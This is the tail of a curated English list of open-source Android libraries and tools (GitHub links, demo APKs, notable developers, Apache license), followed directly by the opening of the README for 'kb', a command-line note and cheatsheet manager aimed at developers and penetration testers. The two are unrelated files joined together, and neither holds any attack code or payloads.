https://play.google.com/store/apps/details?id=com.actionbarsherlock.sample.demos 1. Nine Old Androids Android library for using the Honeycomb animation API on all versions of the platform back to 1.0! Project Address: https://github.com/JakeWharton/NineOldAndroids Demo Apk: https://play.google.com/store/apps/details?id=com.jakewharton.nineoldandroids.sample Document: http://nineoldandroids.com/ 1. HoloEverywhere Bringing Holo Theme from Android 4.1 to 2.1 and above. Project Address: https://github.com/Prototik/HoloEverywhere Demo Apk: https://raw.github.com/Prototik/HoloEverywhere/repo/org/holoeverywhere/demo/2.1.0/demo-2.1.0.apk Document: http://android-developers.blogspot.com/2012/01/holo-everywhere.html 1. SherlockNavigationDrawer Modification of the Android NavigationDrawer sample to use ActionbarSherlock so that we can use the NavigationDrawer on older devices Project Address: https://github.com/tobykurien/SherlockNavigationDrawer 1. Notifications4EveryWhere Bringing Notifications from Android 4.1 to 2.2 and above. Project Address: https://github.com/youxiachai/Notifications4EveryWhere NavigationDrawerDocument: http://developer.android.com/training/implementing-navigation/nav-drawer.html 1. Android Switch Widget Backport A backport of the Switch widget that was introduced on Android 4.X to Android2.1++ Project Address: https://github.com/BoD/android-switch-backport Demo Apk: https://play.google.com/store/apps/details?id=org.jraf.android.backport.switchwidget.sample Document: https://github.com/BoD/android-switch-backport#using-the-switch 1. android-datepicker Android 4.0 DatePicker backported to 2.2 Project Address: https://github.com/SimonVT/android-datepicker <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 7. Multimedia 1. cocos2d-x cocos2d-x is a multi-platform framework for building 2d games, interactive books, demos and other graphical applications. It is based on cocos2d-iphone, but instead of using Objective-C, it uses C++. It works on iOS, Android, Windows Phone, OS X, Windows and Linux. Project Address: https://github.com/cocos2d/cocos2d-x Document: http://www.cocos2d-x.org/wiki Official Website: http://www.cocos2d-x.org/ 1. Vitamio Vitamio is an open multimedia framework for Android and iOS, with full and real hardware accelerated decoder and renderer. Project Address: https://github.com/yixia/VitamioBundle Document: http://www.vitamio.org/docs/ 1. PhotoProcessing A demo of how you can process photos leveraging the ndk, support Instafix, Ansel, Testino, XPro, Retro, BW, Sepia, Cyano, Georgia, Sahara, HDR, Rotate, Flip and so on Project Address: https://github.com/lightbox/PhotoProcessing Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/photo-processing.apk?raw=true 1. Android StackBlur Android StackBlur is a library that can perform a blurry effect on a Bitmap based on a gradient or radius, and return the result. Project Address: https://github.com/kikoso/android-stackblur Demo Apk: https://github.com/kikoso/android-stackblur/blob/master/StackBlurDemo/bin/StackBlurDemo.apk?raw=true Document: https://github.com/kikoso/android-stackblur#usage 1. Bitmap Smart Clipping using OpenCV Bitmap Smart Clipping using OpenCV Project Address: https://github.com/beartung/tclip-android 1. Cropper Android widget for cropping and rotating an image. Project Address: https://github.com/edmodo/cropper Document: https://github.com/edmodo/cropper/wiki Renderings: ![Renderings](https://github-camo.global.ssl.fastly.net/e4fde77bf41d4a60b234b4e268e5cfa8c17d9b6f/687474703a2f2f692e696d6775722e636f6d2f334668735467666c2e6a7067) 1. android-crop Android library project for cropping images Project Address: https://github.com/jdamcd/android-crop Renderings: ![Renderings](https://github.com/jdamcd/android-crop/raw/master/screenshot.png) 1. TileView The TileView widget is a subclass of ViewGroup that provides a mechanism to asynchronously display tile-based images, with additional functionality for 2D dragging, flinging, pinch or double-tap to zoom, adding overlaying Views (markers), built-in Hot Spot support, dynamic path drawing, multiple levels of detail, and support for any relative positioning or coordinate system. Project Address: https://github.com/moagrius/TileView Demo Apk: http://moagrius.github.io/TileView/TileViewDemo.apk 1. BlurEffectForAndroidDesign Sample to show how to implement blur graphical tricks Project Address: https://github.com/PomepuyN/BlurEffectForAndroidDesign 1. android-eye Change your android phone to surveillance camera Project Address: https://github.com/Teaonly/android-eye Demo Apk: https://play.google.com/store/apps/details?id=teaonly.droideye 1. libpng for Android libpng for Android NDK Project Address: https://github.com/julienr/libpng-android Document: http://www.libpng.org/pub/png/libpng.html <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. Image File Selector Project Address: https://github.com/sw926/ImageFileSelector #### 8. Event Bus A typical use case for Android apps is gluing Activities, Fragments, and background threads together. Conventional wiring of those elements often introduces complex and error-prone dependencies and life cycle issues. 1. EventBus Android optimized event bus that simplifies communication between Activities, Fragments, Threads, Services, etc. Less code, better quality. Project Address: https://github.com/greenrobot/EventBus Document: https://github.com/greenrobot/EventBus#general-usage-and-api 1. Otto An enhanced Guava-based event bus with emphasis on Android support. Project Address: https://github.com/square/otto Document: http://square.github.io/otto/ Demo Apk: https://play.google.com/store/apps/details?id=de.greenrobot.eventperf <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 9. Sensor 1. Great Android Sensing Toolkit GAST is a toolkit for using Android's Sensing capabilities. It contains the examples, boiler plate code, and algorithms you need to properly use Android sensors. Project Address: https://github.com/gast-lib/gast-lib Demo Apk: https://play.google.com/store/apps/details?id=root.gast.playground Document: https://github.com/gast-lib/gast-lib#documentation 1. SensorManager Android Sensor Manager Library Project Address: https://github.com/nlathia/SensorManager Document: https://docs.google.com/document/d/1TqThJULb-4e6TGb1gdkAaPCfyuXStjJpbnt7a0OZ9OE/edit 1. GPSLogger GPSLogger is an Android app that logs GPS information to GPX, KML or text files and has options for annotating and sharing. Project Address: https://github.com/mendhak/gpslogger Demo Apk: https://play.google.com/store/apps/details?id=com.mendhak.gpslogger Document: http://code.mendhak.com/gpslogger/ 1. Pedometer Lightweight pedometer app for Android using the hardware step sensor Project Address: https://github.com/j4velin/Pedometer 1. leapcast ChromeCast emulation app for any device Project Address: https://github.com/dz0ny/leapcast 1. Arduino-Communicator Very simple Android application for communicating with Arduino Project Address: https://github.com/jeppsson/Arduino-Communicator 1. android-pedometer App for Android phones that counts your steps. Project Address: https://github.com/bagilevi/android-pedometer Demo Apk: http://pedometer.googlecode.com/files/Pedometer-1.4.apk 1. OwnTracks for Android OwnTracks Android App Project Address: https://github.com/owntracks/android 1. Shake Detector library for Android This library provides a easy way to detect a shake movement using the build-in accelerometer and fire a callback on the UI thread every times it happens. Project Address: https://github.com/tbouron/ShakeDetector Demo Apk: https://play.google.com/store/apps/details?id=com.github.tbouron.shakedetector.example 1. Android heart rate monitor Android heart rate monitor Project Address: https://github.com/phishman3579/android-heart-rate-monitor 1. Bluetooth LE Library for Android This library allows for easy access to a Bluetooth LE device's AdRecord and RSSI value. It offers additional functionality for iBeacons. Project Address: https://github.com/alt236/Bluetooth-LE-Library---Android Demo Apk: https://play.google.com/store/apps/details?id=uk.co.alt236.btlescan <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. Sensey Android library which makes detecting gestures a breeze. Project Address: https://github.com/nisrulz/sensey #### 10. Security 1. SQLCipher SQLCipher is an SQLite extension that provides 256 bit AES encryption of database files. Project Address: https://github.com/sqlcipher/sqlcipher Document: http://sqlcipher.net/sqlcipher-for-android/ 1. Conceal Conceal provides easy Android APIs for performing fast encryption and authentication of data, such as that stored on SD cards Project Address: https://github.com/facebook/conceal Document: https://github.com/facebook/conceal#usage 1. Android-PasscodeLock Android Library that provides passcode lock to your app Project Address: https://github.com/wordpress-mobile/Android-PasscodeLock Demo Apk: https://play.google.com/store/apps/details?id=com.sothree.umano Similar App: Wordpress Android, Alipay 1. GlowPadBackport A backport of the Android 4.2 GlowPadView that works on the SDK on API levels 4+ Project Address: https://github.com/rock3r/GlowPadBackport Demo Apk: https://play.google.com/store/apps/details?id=net.sebastianopoggi.samples.ui.GlowPadSample Renderings: ![Renderings](https://lh6.ggpht.com/U070b6Lh6cVsVwx4jN-5nq0xqiB1PBzrYABPeJIEe2hZQ5UWOxc-FDUG77wADelToHA=h310-rw) 1. GlowPadView GlowPadView for Android is a great library to implement Google's lockscreen and new alarmclock style. (Taken from Android's Source Code) Project Address: https://github.com/nadavfima/GlowPadView Renderings: https://raw.github.com/nadavfima/GlowPadView/master/example.png 1. android-lockpattern lockpattern activity for Android Project Address: https://code.google.com/p/android-lockpattern/ Demo Apk: https://play.google.com/store/apps/details?id=group.pals.android.lib.ui.lockpattern.demo Document: https://code.google.com/p/android-lockpattern/wiki/QuickUse <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 11. Maps 1. GraphHopper Fast routing library and server using OpenStreetMap Project Address: https://github.com/graphhopper/graphhopper/ Document: https://github.com/graphhopper/graphhopper/blob/master/docs/index.md#developers Example APK address: https://graphhopper.com/#community Official Website: https://graphhopper.com Similar App: https://github.com/graphhopper/graphhopper/blob/master/docs/android/index.md#cruiser-app Online Demo: https://graphhopper.com/maps 2. Mapsforge Software for maps rendering based on OpenStreetMap Project Address: https://github.com/mapsforge/mapsforge/ Document: https://github.com/mapsforge/mapsforge/blob/master/docs/Getting-Started-Developers.md Example APK address: https://graphhopper.com/#community Renderings: ![Renderings](https://raw.githubusercontent.com/mapsforge/mapsforge/master/docs/images/screenshot-berlin-1.png) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 12. Others 1. Salvage view Generic view recycler and ViewPager PagerAdapter implementation. Project Address: https://github.com/JakeWharton/salvage 1. Android Priority Job Queue A Job Queue specifically written for Android to easily schedule jobs (tasks) that run in the background, improving UX and application stability. Project Address: https://github.com/path/android-priority-jobqueue Document: https://github.com/path/android-priority-jobqueue#getting-started 1. Glide Bitmap Pool Glide Bitmap Pool is a memory management library for reusing the bitmap memory Project Address: https://github.com/amitshekhariitbhu/GlideBitmapPool Document: https://amitshekhariitbhu.github.io/GlideBitmapPool/ 1. jsoup Java HTML Parser, with best of DOM, CSS, and jquery Project Address: https://github.com/jhy/jsoup Official Website: http://jsoup.org/ 1. ZIP ZeroTurnaround ZIP Library Project Address: https://github.com/zeroturnaround/zt-zip Document: https://github.com/zeroturnaround/zt-zip#examples 1. Cobub Razor Cobub Razor - Open Source Mobile Analytics Solution, include web, android,ios, window phone Project Address: https://github.com/cobub/razor Demo Apk: http://demo.cobub.com/razor Document: http://dev.cobub.com/ 1. aFileChooser Android library that provides a file explorer to let users select files on external storage. Project Address: https://github.com/iPaulPro/aFileChooser 1. androidpn An open source project to provide push notification support for Android -- a xmpp based notification server and a client tool kit. Project Address: https://github.com/dannytiehui/androidpn 1. purePDF A complete actionscript PDF library Project Address: https://github.com/sephiroth74/purePDF 1. Bolts Bolts is a collection of low-level libraries designed to make developing mobile apps easier. Project Address: https://github.com/BoltsFramework/Bolts-Android/ 1. CastCompanionLibrary-android CastCompanionLibrary-android is a library project to enable developers integrate Cast capabilities into their applications faster and easier. Project Address: https://github.com/googlecast/CastCompanionLibrary-android Document: https://developers.google.com/cast/ 1. CastVideos-android CastVideos-android application shows how to cast videos from an android device in a way that is fully compliant with the Design Checklist. Project Address: https://github.com/googlecast/CastVideos-android Document: https://developers.google.com/cast/ 1. Uninstall_Statics Android Statistical application is uninstalled Project Address: https://github.com/sevenler/Uninstall_Statics Document: http://www.cnblogs.com/zealotrouge/p/3157126.html 1. xCombine Android Plugin Framework Project Address: https://github.com/wyouflf/xCombine Document: http://my.oschina.net/u/1171837/blog/155377 1. Memento Memento is an annotation processor for Android that gives your activities a memory. It introduces the @Retain annotation, which allows you to retain arbitrary fields of an activity across configuration changes in a simple and type-safe manner. Project Address: https://github.com/mttkay/memento Document: https://github.com/mttkay/memento#usage 1. svg-android SVG parsing and rendering for Android Project Address: https://code.google.com/p/svg-android/ 1. Office 365 SDK for Android Preview Office 365 SDK for Android Preview by Microsoft Open Technologies, Inc. support Microsoft SharePoint Lists, Microsoft SharePoint Files, Microsoft Exchange Calendar, Microsoft Exchange Contacts, Microsoft Exchange Mail Project Address: https://github.com/OfficeDev/Office-365-SDK-for-Android 1. OpenSpritz-Android OpenSpritz concept for Android, is a Spritz-like .epub and website reader for Android 3.0+ Project Address: https://github.com/OnlyInAmerica/OpenSpritz-Android 1. FreeFlow A layout engine for Android that decouples layouts from the View containers that manage scrolling and view recycling. FreeFlow makes it really easy to create custom layouts and beautiful transition animations as data and layouts change Project Address: https://github.com/Comcast/FreeFlow Demo Apk: https://github.com/Comcast/FreeFlow/releases 1. Android Gesture Detectors Framework Gesture detector framework for multitouch handling on Android Project Address: https://github.com/Almeros/android-gesture-detectors <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. CacheUtilsLibrary This is a simple Android utils library to write any type of data into cache files and then read them later, using Gson to serialize and deserialize these data. Project Address: https://github.com/westlinkin/CacheUtilsLibrary 1. EasyDeviceInfo Android library to get device information in a super easy way. Project Address: https://github.com/nisrulz/easydeviceinfo ## 3. Excellent projects Linux Project Address: https://github.com/torvalds/linux Android Project Address: https://android.googlesource.com/ (1) ZXing ZXing ("zebra crossing") is an open-source, multi-format 1D/2D barcode image processing library implemented in Java, with ports to other languages. Project Address: https://github.com/zxing/zxing Demo Apk: https://play.google.com/store/apps/details?id=com.google.zxing.client.android (2) photup With photup you can share your photos to your Facebook profile, quicker than ever before. Project Address: https://github.com/chrisbanes/photup Demo Apk: https://play.google.com/store/apps/details?id=uk.co.senab.photup (3) github-android GitHub Android App Project Address: https://github.com/github/android Demo Apk: https://play.google.com/store/apps/details?id=com.github.mobile (4) Notes MIUI Notes Project Address: https://github.com/MiCode/Notes Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/miui-note-demo.apk?raw=true (5) weicuiyuan Sina Weibo Android Client Project Address: https://github.com/qii/weiciyuan Demo Apk: https://play.google.com/store/apps/details?id=org.qii.weiciyuan (6) gnucash-android Gnucash for Android mobile companion application. Project Address: https://github.com/codinguser/gnucash-android Demo Apk: http://play.google.com/store/apps/details?id=org.gnucash.android (7) AntennaPod A podcast manager for Android Project Address: https://github.com/danieloeh/AntennaPod Demo Apk: https://play.google.com/store/apps/details?id=de.danoeh.antennapod (8) ChaseWhisplyProject An augmented reality attempt Project Address: https://github.com/tvbarthel/ChaseWhisplyProject Demo Apk: https://play.google.com/store/apps/details?id=fr.tvbarthel.games.chasewhisply (9) Tweet Lanes Tweet Lanes for Android Project Address: https://github.com/chrislacy/TweetLanes Demo Apk: https://play.google.com/store/apps/details?id=com.tweetlanes.android (10) Financius Android Expense Manager Project Address: https://github.com/mvarnagiris/Financius Demo Apk: https://play.google.com/store/apps/details?id=com.code44.finance (11) todo.txt-android Official Todo.txt Android app for managing your todo.txt file stored in Dropbox. Project Address: https://github.com/ginatrapani/todo.txt-android Demo Apk: https://play.google.com/store/apps/details?id=com.todotxt.todotxttouch (13) Muzei Live Wallpaper Muzei Live Wallpaper for Android Project Address: https://github.com/romannurik/muzei Demo Apk: https://play.google.com/store/apps/details?id=net.nurik.roman.muzei (14) Etar Calendar Etar is an OpenSource material designed calendar Project Address: https://github.com/xsoh/Etar-Calendar Demo Apk: https://play.google.com/store/apps/details?id=ws.xsoh.etar Renderings: ![Etar Calendar](https://raw.githubusercontent.com/xsoh/Etar-Calendar/materialdesign/assets/_pre_prod/publish/v1.0/animation.gif) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> ## 4: Development and testing tools Android open source projects about development tools and testing tools. <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 1. Development productivity tools 1. Json2Java Automate processing Java classes to mirror json models. Project Address: https://github.com/jonfhancock/JsonToJava Online Demo: http://jsontojava.appspot.com/ 1. IntelliJ Plugin for Android Parcelable boilerplate code generation IntelliJ Plugin for Android Parcelable boilerplate code generation. Project Address: https://github.com/mcharmas/android-parcelable-intellij-plugin Renderings: ![Holo Colors Idea](https://github.com/mcharmas/android-parcelable-intellij-plugin/raw/master/screenshot.png) 1. Android Holo Colors IntelliJ Plugin IntelliJ / Android Studio plugin for Android Holo Colors Project Address: https://github.com/jeromevdl/android-holo-colors-idea-plugin Renderings: ![Holo Colors Idea](https://raw.github.com/jeromevdl/android-holo-colors-idea-plugin/master/other/holocolorsidea.png) 1. Android Drawable Factory A Java Application to create appropriate Drawable resources for your Android application Project Address: https://github.com/tizionario/AndroidDrawableFactory Renderings: ![Android Drawable Factory](https://github-camo.global.ssl.fastly.net/5c3844b345a9779296f996490070dab0bfc9dbf5/68747470733a2f2f646c2e64726f70626f7875736572636f6e74656e742e636f6d2f752f32363636343637352f416e64726f69644472617761626c65466163746f72792f312e706e67) 1. SelectorChapek for Android Android Studio plugin which automatically generates drawable selectors from appropriately named resources. Project Address: https://github.com/inmite/android-selector-chapek 1. Android Action Bar Style Generator Easily create a simple, attractive and seamless custom action bar style for your Android application Project Address: https://github.com/jgilfelt/android-actionbarstylegenerator Online Demo: http://jgilfelt.github.io/android-actionbarstylegenerator/ 1. ButterKnifeZelezny Android Studio plug-in for generating [ButterKnife](https://github.com/JakeWharton/butterknife) injections from selected layout XML. Project Address: https://github.com/inmite/android-butterknife-zelezny 1. RoboCoP Pure Java code generation tool for generating a fully functional ContentProvider for Android. Project Address: https://github.com/mediarain/RoboCoP 1. appiconsizes IOS and Android App Icon size generator Project Address: http://www.appiconsizes.com/ 1. Gradle Retrolambda Plugin This plugin will automatically build your java or android project with [Retrolambda](https://github.com/orfjackal/retrolambda), giving you lambda goodness on java 6 or 7. It relies on the wonderful retrolambda by Esko Luontola. Project Address: https://github.com/evant/gradle-retrolambda 1. jsonschema2pojo Generates Java types from JSON Schema (or example JSON) and annotates those types for data-binding with Jackson 1.x or 2.x, Gson. Project Address: https://github.com/joelittlejohn/jsonschema2pojo Online Demo: http://www.jsonschema2pojo.org/ <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 2. Develop self-test related 1. Quality Tools for Android This is an Android sample app + tests that will be used to work on various project to increase the quality of the Android platform. Project Address: https://github.com/stephanenicolas/Quality-Tools-for-Android 1. android-test-kit Google's Testing Tools For Android Project Address: https://code.google.com/p/android-test-kit/ Document: https://code.google.com/p/android-test-kit/w/list 1. robolectric Robolectric is a unit test framework that de-fangs the Android SDK so you can test-drive the development of your Android app. Project Address: https://github.com/robolectric/robolectric Demo Apk: https://github.com/robolectric/robolectricsample Document: http://robolectric.org/ 1. Android FEST A set of FEST assertion helpers geared toward testing Android. Project Address: https://github.com/square/fest-android 1. BoundBox BoundBox provides an easy way to test an object by accessing all its fields, constructor and methods, public or not. BoundBox breaks encapsulation. Project Address: https://github.com/stephanenicolas/boundbox 1. Hugo Annotation-triggered method call logging for your debug builds. Project Address: https://github.com/JakeWharton/hugo 1. scalpel A surgical debugging tool to uncover the layers under your app. Project Address: https://github.com/JakeWharton/scalpel 1. Android Screenshot library On-demand screenshots for your Android integration tests Project Address: https://github.com/rtyley/android-screenshot-lib 1. sonar-android-lint-plugin Extension plugin for Android Lint in Sonar Project Address: https://github.com/SonarCommunity/sonar-android Document: http://docs.codehaus.org/display/SONAR/Android+Plugin <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 3. Testing tools 1. Spoon Distributing instrumentation tests to all your Androids. Project Address: https://github.com/square/spoon <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 4. Development and build environment 1. Buck Buck is an Android build tool, is more powerful than ant. Project Address: https://github.com/facebook/buck 1. Android Maven Plugin A plugin for Android application development with Apache Maven 3.1.1+ and the Android SDK. Project Address: https://github.com/jayway/maven-android-plugin 1. umeng-muti-channel-build-tool Umeng packaing tools Project Address: https://github.com/umeng/umeng-muti-channel-build-tool 1. Genymotion THE FASTER ANDROID EMULATOR Project Address: http://www.genymotion.com/ 1. gradle-mvn-push Helper to upload Gradle Android Artifacts to Maven repositories Project Address: https://github.com/chrisbanes/gradle-mvn-push Document: https://github.com/chrisbanes/gradle-mvn-push#usage 1. Android Emulator Plugin for Jenkins Android Emulator plugin for Jenkins Project Address: https://github.com/jenkinsci/android-emulator-plugin 1. Android Maven Plugin A tool to install components of the Android SDK to use with the Maven Android Plugin. Project Address: https://github.com/mosabua/maven-android-sdk-deployer 1. SDK Manager Plugin Gradle plugin which downloads and manages your Android SDK. Project Address: https://github.com/JakeWharton/sdk-manager-plugin <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 5. Others 1. ViewServer Local server for Android's HierarchyViewer Project Address: https://github.com/romainguy/ViewServer 1. GridWichterle for Android This app will show grid overlay over whole system which helps you to verify your excellent app design. Project Address: https://github.com/inmite/android-grid-wichterle Demo Apk: https://play.google.com/store/apps/details?id=eu.inmite.android.gridwichterle 1. Catlog Logcat-reading app for Android Project Address: https://github.com/nolanlawson/Catlog Online Demo: https://play.google.com/store/apps/details?id=com.nolanlawson.logcat 1. PID Cat Colored logcat script which only shows log entries for a specific application package. Project Address: https://github.com/JakeWharton/pidcat 1. ACRA ACRA is a library enabling Android Application to automatically post their crash reports to a GoogleDoc form. It is targetted to android applications developers to help them get data from their applications when they crash or behave erroneously. Project Address: https://github.com/ACRA/acra Document: https://github.com/ACRA/acra/wiki/BasicSetup 1. Android Resource Navigator Chrome Extension providing enhanced resource navigation for GitHub hosted Android projects Project Address: https://github.com/jgilfelt/android-resource-navigator Online Demo: https://chrome.google.com/webstore/detail/android-resource-navigato/agoomkionjjbejegcejiefodgbckeebo?hl=en&gl=GB <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> ## 4. Outstanding individuals and groups #### 1. Individual 1. JakeWharton Github Address: https://github.com/JakeWharton Masterpiece: ActionBarSherlock,Android-ViewPagerIndicator,Nine Old Androids,SwipeToDismissNOA,hugo,butterknife,Android-DirectionalViewPager, scalpel HomePage: http://jakewharton.com/ 1. Chris Banes Github Address: https://github.com/chrisbanes Masterpiece: ActionBar-PullToRefresh,PhotoView,Android-BitmapCache,Android-PullToRefresh HomePage: http://chris.banes.me/ 1. Koushik Dutta Github Address: https://github.com/koush Masterpiece: Superuser,AndroidAsync,UrlImageViewHelper,ion HomePage: http://koush.com/ 1. Simon Vig Github Address: https://github.com/SimonVT Masterpiece: android-menudrawer,MessageBar HomePage: http://simonvt.net/ 1. Manuel Peinado Github Address: https://github.com/ManuelPeinado Masterpiece: FadingActionBar,GlassActionBar,RefreshActionItem,QuickReturnHeader 1. Emil Sj?lander Github Address: https://github.com/emilsjolander Masterpiece: StickyListHeaders,sprinkles,android-FlipView HomePage: http://emilsjolander.se/ 1. greenrobot Github Address: https://github.com/greenrobot Masterpiece: greenDAO,EventBus HomePage: http://greenrobot.de/ 1. Jeff Gilfelt Github Address: https://github.com/jgilfelt Masterpiece: android-mapviewballoons,android-viewbadger,android-actionbarstylegenerator,android-sqlite-asset-helper HomePage: http://jeffgilfelt.com 1. Romain Guy Github Address: https://github.com/romainguy Masterpiece: ViewServer HomePage: http://www.curious-creature.org/category/android/ Other:http://www.flickr.com/photos/romainguy 1. sephiroth74 Github Address: https://github.com/sephiroth74 Masterpiece: ImageViewZoom,HorizontalVariableListView,AndroidWheel,purePDF HomePage: http://www.sephiroth.it/ 1. Cyril Mottier Github Address: https://github.com/cyrilmottier Masterpiece: GreenDroid,Polaris HomePage: http://cyrilmottier.com/ <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 2. Group 1. Square Github Address: https://github.com/square Masterpiece: okhttp, fest-android,android-times-square, picasso, dagger, spoon and so on HomePage: http://square.github.io/ 1. Inmite s.r.o. Github Address: https://github.com/inmite Masterpiece: android-styled-dialogs,android-grid-wichterle,android-selector-chapek HomePage: http://www.inmite.eu/ <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> ## License Copyright 2014 trinea.cn Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
<p align="center"> <img src="img/kb_logo.png?raw=true" width="200"/> </p> # kb. A minimalist knowledge base manager [![Build Status](https://travis-ci.com/gnebbia/kb.svg?branch=master)](https://travis-ci.com/gnebbia/kb) Author: gnc <[email protected]> Copyright: © 2020, gnc Date: 2022-09-21 Version: 0.1.7 ## Table of Contents * [Purpose](#purpose) * [Installation](#installation) * [Installation from AUR](#installation-from-aur) * [Installation from pkgsrc](#installation-from-pkgsrc) * [Installation with homebrew](#installation-with-homebrew) * [Notes for Windows users](#notes-for-windows-users) * [Docker](#docker) * [Usage](#usage) * [List artifacts](#list-artifacts) * [List all artifacts contained in the kb knowledge base](#list-all-artifacts-contained-in-the-kb-knowledge-base) * [List all artifacts containing the string "zip"](#list-all-artifacts-containing-the-string-zip) * [List all artifacts belonging to the category "cheatsheet"](#list-all-artifacts-belonging-to-the-category-cheatsheet) * [List all the artifacts having the tags "web" or "pentest"](#list-all-the-artifacts-having-the-tags-web-or-pentest) * [List using "verbose mode"](#list-using-verbose-mode) * [Add artifacts](#add-artifacts) * [Add a file to the collection of artifacts](#add-a-file-to-the-collection-of-artifacts) * [Add a file to the artifacts](#add-a-file-to-the-artifacts) * [Add all files contained in a directory to kb](#add-all-files-contained-in-a-directory-to-kb) * [Create a new artifact from scratch](#create-a-new-artifact-from-scratch) * [Create a new artifact from the output of another program](#create-a-new-artifact-from-the-output-of-another-program) * [Delete artifacts](#delete-artifacts) * [Delete an artifact by ID](#delete-an-artifact-by-id) * [Delete multiple artifacts by ID](#delete-multiple-artifacts-by-id) * [Delete an artifact by name](#delete-an-artifact-by-name) * [View artifacts](#view-artifacts) * [View an artifact by id](#view-an-artifact-by-id) * [View an artifact by name](#view-an-artifact-by-name) * [View an artifact without colors](#view-an-artifact-without-colors) * [View an artifact within a text-editor](#view-an-artifact-within-a-text-editor) * [Edit artifacts](#edit-artifacts) * [Edit an artifact by id](#edit-an-artifact-by-id) * [Edit an artifact by name](#edit-an-artifact-by-name) * [Grep through artifacts](#grep-through-artifacts) * [Grep through the knowledge base](#grep-through-the-knowledge-base) * [Grep (case-insensitive) through the knowledge base](#grep-case-insensitive-through-the-knowledge-base) * [Grep in "verbose mode" through the knowledge base](#grep-in-verbose-mode-through-the-knowledge-base) * [Grep through the knowledge base and show matching lines](#grep-through-the-knowledge-base-and-show-matching-lines) * [Import/Export/Erase a knowledge base](#importexporterase-a-knowledge-base) * [Export the current knowledge base](#export-the-current-knowledge-base) * [Import a knowledge base](#import-a-knowledge-base) * [Erase the entire knowledge base](#erase-the-entire-knowledge-base) * [Manage Templates](#manage-templates) * [List available templates](#list-available-templates) * [Create a new template](#create-a-new-template) * [Delete a template](#delete-a-template) * [Edit a template](#edit-a-template) * [Add a template](#add-a-template) * [Change template for an artifact](#change-template-for-an-artifact) * [Apply a template to all artifacts of a category](#apply-a-template-to-all-artifacts-of-a-category) * [Apply a template to all artifacts having zip in their title](#apply-a-template-to-all-artifacts-having-zip-in-their-title) * [Apply a template to all artifacts having specific properties](#apply-a-template-to-all-artifacts-having-specific-properties) * [Integrating kb with other tools](#integrating-kb-with-other-tools) * [kb and rofi](#kb-and-rofi) * [Experimental](#experimental) * [Synchronize kb with a remote git repository](#synchronize-kb-with-a-remote-git-repository) * [UPGRADE](#upgrade) * [FAQ](#faq) * [DONATIONS](#donations) * [COPYRIGHT](#copyright) ## Purpose kb is a text-oriented minimalist command line knowledge base manager. kb can be considered a quick note collection and access tool oriented toward software developers, penetration testers, hackers, students or whoever has to collect and organize notes in a clean way. Although kb is mainly targeted on text-based note collection, it supports non-text files as well (e.g., images, pdf, videos and others). The project was born from the frustration of trying to find a good way to quickly access my notes, procedures, cheatsheets and lists (e.g., payloads) but at the same time, keeping them organized. This is particularly useful for any kind of student. I use it in the context of penetration testing to organize pentesting procedures, cheatsheets, payloads, guides and notes. I found myself too frequently spending time trying to search for that particular payload list quickly, or spending too much time trying to find a specific guide/cheatsheet for a needed tool. kb tries to solve this problem by providing you a quick and intuitive way to access knowledge. In few words kb allows a user 